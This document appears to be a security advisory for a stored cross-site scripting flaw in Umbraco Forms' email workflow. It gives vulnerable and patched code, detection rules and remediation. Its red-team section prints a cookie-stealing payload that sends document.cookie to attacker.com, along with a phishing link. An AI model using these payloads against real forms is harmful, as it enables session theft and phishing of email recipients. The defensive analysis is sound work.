CVE-2025-47280

Executive Summary

CVE-2025-47280 is a stored cross-site scripting (XSS) vulnerability in the Umbraco Forms plugin for the Umbraco CMS. The flaw resides in the "Send email" workflow, which fails to HTML-encode user-provided field values before inserting them into the email body. An attacker can submit a form with malicious HTML/JavaScript payloads in any text field. When the workflow sends the email, the payload is rendered in the recipient's email client, potentially bypassing spam filters and security controls. This can lead to credential theft, malware distribution, or phishing attacks originating from a trusted domain. The vulnerability affects all supported versions of Umbraco Forms prior to 13.4.2 and 15.1.2. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a NuGet package for the Umbraco CMS ecosystem. The Umbraco Forms package is distributed via NuGet and is a core component of the Umbraco content management system. Organizations should verify their NuGet package references and update to patched versions.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 5.4 (Medium) based on CWE-79 analysis.

Threat Level: Medium. The vulnerability requires user interaction (opening an email) but can be exploited without authentication. The impact is limited to the email client context, but the trusted sender domain increases phishing success.

Deep Dive & Mechanics

The "Send email" workflow in Umbraco Forms is designed to send form submissions to a configured recipient. The workflow constructs an email message by concatenating user-provided field values directly into the email body without HTML encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker identifies a public Umbraco form that uses the "Send email" workflow.
2. The attacker submits the form with a payload in a text field, e.g., <img src=x onerror=alert(1)> or a phishing link.
3. The Umbraco Forms server processes the submission and sends an email to the configured recipient(s).
4. The recipient's email client renders the HTML, executing the payload.
5. The attacker can steal cookies, redirect to malicious sites, or perform phishing.

Root Cause: The SendEmail workflow class does not call HtmlEncode() on user input before embedding it in the email body. The email is sent as HTML, so any unencoded HTML tags are interpreted by the email client.

Vulnerable vs. Patched Code

Vulnerable Code (C#):

// In SendEmail.cs (vulnerable)
string body = $"<p>Name: {model.Name}</p><p>Email: {model.Email}</p><p>Message: {model.Message}</p>";
// No encoding - user input is directly concatenated

Patched Code (C#):

// In SendEmail.cs (patched)
string body = $"<p>Name: {HtmlEncode(model.Name)}</p><p>Email: {HtmlEncode(model.Email)}</p><p>Message: {HtmlEncode(model.Message)}</p>";
// Using System.Web.HttpUtility.HtmlEncode or similar

The patch adds HTML encoding to all user-provided field values before they are inserted into the email body. This prevents the interpretation of injected HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Umbraco CMS (e.g., version 13.3.0) with Umbraco Forms (version 13.4.1 or earlier).
2. Create a public form with a "Send email" workflow configured to send to a test email address.
3. Use a disposable email service or local SMTP server (e.g., MailHog) to capture emails.

Exploitation Steps:

1. Submit the form with the following payload in a text field:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

2. The email sent to the recipient will contain the payload.
3. When the recipient opens the email in an HTML-capable client, the JavaScript executes, sending cookies to the attacker's server.

Alternative Payload (Phishing):

<a href="https://attacker.com/login">Click here to verify your account</a>

Blue Team

Detection:

1. Monitor email logs for unusual HTML content in form submission emails.
2. Use email security gateways to scan for JavaScript or suspicious HTML tags in inbound/outbound emails.
3. Review Umbraco Forms workflow configurations for use of the "Send email" workflow.

Hunting:

• Search for form submissions containing HTML tags in text fields.
• Check email headers for X-Mailer: Umbraco Forms and inspect body for unencoded user input.

Indicators of Compromise (IOCs)

• Email Body Patterns: Emails containing <script>, <img onerror>, <iframe>, or other HTML event handlers.
• Email Headers: X-Mailer: Umbraco Forms (may vary).
• Form Submission Logs: Entries with HTML tags in text fields.
• Network Traffic: Outbound connections from email client to attacker-controlled domains (e.g., attacker.com/steal).
• File Hashes: No specific file hashes; focus on Umbraco Forms DLL versions:
  • Vulnerable: Umbraco.Forms.Core.dll < 13.4.2 or < 15.1.2
  • Patched: Umbraco.Forms.Core.dll >= 13.4.2 or >= 15.1.2

Detection Engineering

YARA Rule

rule CVE_2025_47280_Umbraco_Forms_XSS {
    meta:
        description = "Detects Umbraco Forms DLL versions vulnerable to CVE-2025-47280"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47280"
    strings:
        $vuln_version_13 = "13.4.1" ascii wide nocase
        $vuln_version_15 = "15.1.1" ascii wide nocase
        $patch_version_13 = "13.4.2" ascii wide nocase
        $patch_version_15 = "15.1.2" ascii wide nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        ($vuln_version_13 or $vuln_version_15) and
        not ($patch_version_13 or $patch_version_15)
}

Sigma Rule

title: Umbraco Forms Email XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects emails sent by Umbraco Forms containing unencoded HTML/JavaScript
author: Valters IT
date: 2025-04-10
logsource:
    product: email
    service: smtp
detection:
    selection:
        X-Mailer|contains: "Umbraco Forms"
    keywords:
        - "<script>"
        - "onerror="
        - "onload="
        - "onclick="
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert smtp any any -> any any (msg:"CVE-2025-47280 Umbraco Forms Email XSS"; flow:to_server; content:"X-Mailer|3a| Umbraco Forms"; nocase; pcre:"/(<script|<img[^>]+onerror|<iframe|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Update Umbraco Forms to version 13.4.2 or 15.1.2 (depending on your CMS version).
2. If immediate update is not possible, replace the "Send email" workflow with the "Send email with template (Razor)" workflow.
3. Remove the SendEmail workflow type using a composer as described in the GitHub Security Advisory.

Long-term:

• Implement input validation and output encoding for all user-provided data.
• Use email security solutions that scan for malicious HTML/JavaScript.
• Regularly update Umbraco CMS and all plugins.

Workaround Code (Remove SendEmail workflow):

using Umbraco.Cms.Core.Composing;
using Umbraco.Forms.Core.Workflows;

public class DisableSendEmailComposer : IComposer
{
    public void Compose(IUmbracoBuilder builder)
    {
        builder.Forms().Workflows().Remove<SendEmail>();
    }
}

Valters IT
DevSecOps & Cyber Threat Intelligence